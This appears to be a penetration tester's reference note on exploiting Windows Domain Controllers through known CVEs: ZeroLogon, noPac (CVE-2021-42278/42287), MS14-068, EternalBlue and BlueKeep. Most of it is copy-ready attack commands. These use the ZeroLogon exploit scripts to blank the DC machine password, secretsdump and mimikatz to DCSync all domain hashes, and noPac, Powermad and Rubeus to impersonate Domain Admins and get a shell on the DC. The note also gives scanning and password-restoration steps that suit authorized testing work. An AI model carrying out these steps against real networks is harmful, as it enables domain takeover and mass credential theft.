# Exploitation - Domain Controllers CVE

### RCE on exposed Windows services

The services exposed by the Domain Controllers may be vulnerable to well known critical vulnerabilities that can be leveraged to remotely execute code on a vulnerable Domain Controller.

The following vulnerabilities are worth mentioning:

| Vulnerability                | Service                            | Patch release date | Note                                                                                                                                           |
| ---------------------------- | ---------------------------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- |
| `EternalBlue` / `MS17-010`   | `SMB`: TCP Port 445                | March 14, 2017     | `[L7] 445 SMB`                                                                                                                                 |
| `BlueKeep` / `CVE-2019-0708` | `Terminal Services`: TCP port 3389 | May 13, 2019       | <p>Vulnerable operating systems:<br><= <code>Windows 2008 / 2008 R2</code><br><= <code>Windows 7</code><br><br><code>\[L7] 3389 RDP</code></p> |

### (Likely patched) MS14-068

`MS14-068` is a vulnerability that lies in the Microsoft implementation of the `Kerberos` protocol. A problem in the verification of the `Privilege Attribute Certificate (PAC)` in a `Kerberos` `service ticket` request allows any domain user may to forge a `PAC` with arbitrary privileges.

The `Metasploit`'s `ms14_068_kerberos_checksum` module can be used to request a `kerberos` `Ticket-Granting Ticket (TGT)` with a forged `PAC`. The `TGT` is exported by the module is the `credential cache (ccache)` format. Refer to the `[ActiveDirectory] Kerberos tickets usage` for more information on how to use the `Kerberos` ticket from Windows and Linux operating systems.

```
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
```

### ZeroLogon - CVE-2020-1472

`ZeroLogon` is a critical security flaw (`CVSS` score: 10.0) in the Active Directory `Netlogon Remote Protocol` `MSRPC` protocol (`MS-NRPC`).

As stated in the [original research publication](https://www.secura.com/blog/zero-logon): "The vulnerability stems from a flaw in a cryptographic authentication scheme used by the `Netlogon Remote Protocol`, which among other things can be used to update computer passwords. This flaw allows attackers to impersonate any computer, including the domain controller itself, and execute remote procedure calls on their behalf."

Knowledge of the targeted Domain Controller (`DC`) machine account password can notably be leveraged to conduct `DCSync` attacks.

However, resetting the `DC` machine account password through this attack will break communications with others `Domain Controllers` and make the `DC` misbehave in undefined ways. As the password is only updated in the Active Directory `ntds.dit` database, the previous `DC` machine account password can be retrieved in the `HKLM\Security` hive (`HKLM\SECURITY\Policy\Secrets\ $machine.ACC`) of the `DC` and restored.

**Exploitation in Python - Impacket update**

For exploit code using `impacket`, the library must be updated to, at least, the version published on `September 15th 2020` (update to the `dcerpc.v5.nrpc` library). In order to do so, a Python `virtualenv` can be created or the system-wide `impacket` installation updated:

```
# Creation of a Python virtualenv
git clone https://github.com/dirkjanm/CVE-2020-1472
cd CVE-2020-1472
python3 -m pip install virtualenv
python3 -m virtualenv impkt
source impkt/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacket

# System wide update from sources.
apt remove --purge impacket impacket-scripts python-impacket python3-impacket
apt autoremove
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
pip3 install .
python3 setup.py install
```

Alternatively, static standalone binaries (embedding `impacket`) for Windows and Linux (both x64) are available in the following GitHub repository: `https://github.com/Qazeer/dirkjanm_CVE-2020-1472_static_binaries`.

**0. Detection**

Multiple tools may be used to detect if the Domain Controllers are vulnerable to the `ZeroLogon` vulnerability.

`PingCastle`'s `zerologon` scanner presents the advantage of automatically enumerating the Domain Controllers through AD requests and conduct scan for all the enumerated Domain Controllers. It however can only be executed from a machine integrated in the targeted Active Directory domain.

```
PingCastle.exe --scanner zerologon --scmode-dc

# The -patch flag is required to conduct the scan from a non domain-joined client.
# Compiled binary: https://github.com/r3motecontrol/Sharp-Suite-CompiledBinaries
SharpZeroLogon.exe <DC_FQDN> <-patch>

Invoke-Zerologon -FQDN <DC_FQDN>
```

**1. DC machine account password reset**

Multiple tools may be used to exploit the `ZeroLogon` vulnerability to set an empty password for the targeted `DC` machine account.

```
secretsdump_linux -just-dc -no-pass "<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>"
secretsdump_windows.exe -just-dc -no-pass "<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>"

# Source: https://github.com/dirkjanm/CVE-2020-1472
python3 cve-2020-1472-exploit.py <DC_NETBIOS_NAME> <DC_IP>

msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action REMOVE
...

# The -patch flag is required to conduct the scan from a non domain-joined client.
# Compiled binary: https://github.com/r3motecontrol/Sharp-Suite-CompiledBinaries
SharpZeroLogon.exe <DC_FQDN> -reset <-patch>

Invoke-Zerologon -FQDN <DC_FQDN> -Reset
```

**2. Empty password DCSync**

`Impacket`'s `secretsdump` or `mimikatz` may be used to conduct replication operations (`DCSync`) using the `DC` machine account with an empty password.

```
secretsdump.py -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'

# Static compiled binary: https://github.com/ropnop/impacket_static_binaries
secretsdump_windows.exe -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'
secretsdump_linux_x86_64 -just-dc -no-pass '<DOMAIN>/<DC_MACHINE_ACCOUNT$>@<DC_IP>'

mimikatz # lsadump::dcsync /domain:<DOMAIN> /dc:<DC_FQDN> /user:<krbtgt | USERNAME> /authuser:<DC_MACHINE_ACCOUNT$> /authdomain:<DOMAIN_NETBIOS_NAME> /authpassword:"" /authntlm
```

**3. DC machine account password restoration**

Remote access to the `HKLM\SECURITY` registry hive requires `Domain Admin` privileges. Access conducted using the DC machine account thus result in access denied error (`rpc_s_access_denied`). The extraction of the `DC` plaintext machine password from the `HKLM\SECURITY` registry hive must be done using of the `Domain Admin` accounts compromised during the previous `DCSync` attack.

`Impacket`'s `secretsdump.py` Python script can be used to remotely extract the `DC` machine account secrets from the `HKLM\SECURITY` registry hive. A version post the 15th 2020 update should be used as it will automatically dump the plaintext machine password hex encoded required for the restoration (using dirkjanm's `restorepassword.py` Python script and the `Metasploit`'s `cve_2020_1472_zerologon` module).

Alternatively, remote code execution using `Domain Admin` or `Operators` credentials can be leveraged to retrieve the `HKLM\SAM`, `HKLM\SECURITY`, and `HKLM\SYSTEM` registry hives from the `DC` and `Impacket`'s `secretsdump.py` Python script used to locally extract the DC machine password from the hives. Refer to the `[Windows] Lateral movements` and `[Windows] Post exploitation` notes for more information.

```
# Retrieves the original DC machine account hex encoded plain-text password and NTLM hash.
secretsdump.py -hashes ":<NTLM>" '<DOMAIN>/<Administrator | DA_USERNAME>@<DC_IP>'

# Restore the DC machine account original password.

restorepassword_windows.exe -target-ip "<DC_IP>" -hexpass "<DC_MACHINE_ACCOUNT_HEX_PASSWORD>" "<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>"
restorepassword_linux -target-ip "<DC_IP>" -hexpass "<DC_MACHINE_ACCOUNT_HEX_PASSWORD>" "<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>"

# Source: https://github.com/dirkjanm/CVE-2020-1472
python3 restorepassword.py -target-ip <DC_IP> -hexpass <DC_MACHINE_ACCOUNT_HEX_PASSWORD> '<DOMAIN>/<DC_HOSTNAME>@<DC_HOSTNAME>'

msf > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set action RESTORE
...

# Source: https://github.com/risksense/zerologon
python3 reinstall_original_pw.py <DC_NETBIOS_NAME> <DC_IP> <ORIGINAL_NTLM_HASH>
```

### CVE-2021-42278 and CVE-2021-42287

The combination of the [`CVE-2021-42278`](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278) and [`CVE-2021-42287`](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041) vulnerabilities allow any domain authenticated user to impersonate another (potentially privileged) domain user. The security updates to address both vulnerabilities were released in mid-November 2021.

The `CVE-2021-42278` vulnerability is based on the fact that computer account `sAMAccountName` restriction are not properly enforced, and a computer account with a non "$" ending name can be created in the domain. The `CVE-2021-42287` vulnerability is an improper validation by the `Kerberos Key Distribution Center (KDC)` of the user requesting a `Service Ticket (ST)` (using a `Ticket-Granting Ticket (TGT)`). The `KDC` will indeed automatically perform a lookup for the account appended with a "$" if the account the `TGT` was emitted to is not found. By combining both vulnerabilities, it is possible to ultimately obtain a `S4U2self` ticket impersonating an arbitrary user for a Domain Controller service.

The exploitation steps are as follow:

1. Creation of a machine account (optional if a computer account is already compromised. The exploit will require modification of the machine account's `sAMAccountName` and `servicePrincipalName` attributes).
2. Clearing of the `servicePrincipalNames (SPNs)` of the created / controlled machine account. Clearing the `SPN` attribute is required, as the renaming operation below would otherwise fail. Change to the `sAMAccountName` attribute are indeed propagated to the `SPN` attribute, and a conflict with the Domain Controller already existing `SPNs` would arise (as `SPNs` must be unique in the domain).
3. Renaming the created / controlled machine account's `sAMAccountName` to a Domain Controller machine account, except for the trailing "$" (`CVE-2021-42278`). Example `sAMAccountName`: `DC01`.
4. Requesting a `TGT` for the created / controlled machine account.
5. Restoring of the created / controlled machine account `sAMAccountName`.
6. Requesting a `S4U2self` ticket using the retrieved `TGT` to get a `Service Ticket (ST)` impersonating an arbitrary user to the Domain Controller. Upon reception of the `TGT`, the `KDC` will perform a lookup for the account using the `sAMAccountName` defined in the `TGT` (`DC01` in the example). As an account with such `sAMAccountName` no longer exist in the domain, the `KDC` will automatically lookup for the account appended with a "$" (`DC01$` in the example), and encrypt the `ST` with a secret of that account. As the `KDC` incorrectly assume that the `TGT` was for the Domain Controller machine account (`CVE-2021-42287`), the `S4U2self` ticket request is fulfilled. The `S4U2self` ticket allows impersonation of an ("impersonatable") user to the Domain Controller services (`LDAP`, `CIFS`, etc.). For more information on the `S4U2self` mechanism, refer to the `[ActiveDirectory] Kerberos delegations` note.
7. The `ST` obtained can be used to access the Domain Controller, for instance to remotely execute code (`CIFS` `SPN`) or replication operations (`LDAP` `SPN`).

The attack can be performed automatically using the [noPac](https://github.com/Ridter/noPac) Python script ([standalone compiled versions](https://github.com/Qazeer/OffensivePythonPipeline)):

```bash
# Retrieves tickets from all the Domain Controllers in the domain to validate their size.
noPac_scanner.py -all <DOMAIN_FQDN>/<USERNAME>[:<PASSWORD>]

# --impersonate <USER_TO_IMPERSONATE>: user to impersonate (must be "impersonatable"). noPac.py will automatically select a random Domain Administrator account if not specified.
# -create-child: rely on the CreateChild ACE to add a computer object (notably useful if ms-DS-MachineAccountQuota is set to 0).
# -dump -just-dc: retrieve secrets from the Domain Controller using impacket's secretsdump.
# -shell: execute code on the Domain Controller using impacket's smbexec.

noPac.py [-dc-ip <DC_IP>] [--impersonate <USER_TO_IMPERSONATE>] [-create-child] [-dump [-just-dc] | -shell] <DOMAIN_FQDN>/<USERNAME>[:<PASSWORD>]

# NTLM pass-the-hash.
noPac.py -hashes <LM_HASH:NT_HASH> <DOMAIN_FQDN>/<USERNAME>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
noPac.py -k -no-pass -dc-ip <DC_IP> <DOMAIN_FQDN>/<USERNAME>
```

The attack can also be performed manually using the [Powermad](https://github.com/Kevin-Robertson/Powermad) and the `RSAT`'s `ActiveDirectory` PowerShell modules and [`Rubeus`](https://github.com/GhostPack/Rubeus):

```
# Adds a new machine account.
New-MachineAccount -Verbose -Domain <DOMAIN_FQDN> -DomainController <DC_FQDN> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

# Clear the ServicePrincipalName attribute of the added machine account.
Set-ADComputer -Identity 'MACHINE_ACCOUNT_NAME' -Clear 'ServicePrincipalName'

# Updates the added machine account sAMAccountName attribute.
# The specified sAMAccountName should match the one of a Domain Controller machine account, without the trailing "$".
Set-MachineAccountAttribute -Verbose -MachineAccount "<MACHINE_ACCOUNT_NAME>" -Attribute samaccountname -Value "<DC_NAME_WITHOUT_$>"

# Request a TGT for the added machine account (specified using the new sAMAccountName).
Rubeus.exe asktgt /outfile:<TGT_OUTPUT_FILE> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /user:<DC_NAME_WITHOUT_$> /password:<MACHINE_ACCOUNT_PASSWORD>

# Restore the machine account sAMAccountName attribute.
Set-MachineAccountAttribute -Verbose -MachineAccount "<MACHINE_ACCOUNT_NAME>" -Attribute samaccountname -Value "<PREVIOUS_SAMACCOUNTNAME | DOES_NOT_MATTER>"

# Request a S4U2self ticket, using the previously obtained TGT, to impersonate the specified user to a service of the Domain Controller.
Rubeus.exe s4u /nowrap /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ticket:<TGT_OUTPUT_FILE> /impersonateuser:<Administrator | USER_TO_IMPERSONATE> /self /altservice:<LDAP/DC_FQDN | CIFS/DC_FQDN | DC_SPN> /ptt
```

***

### References

<https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
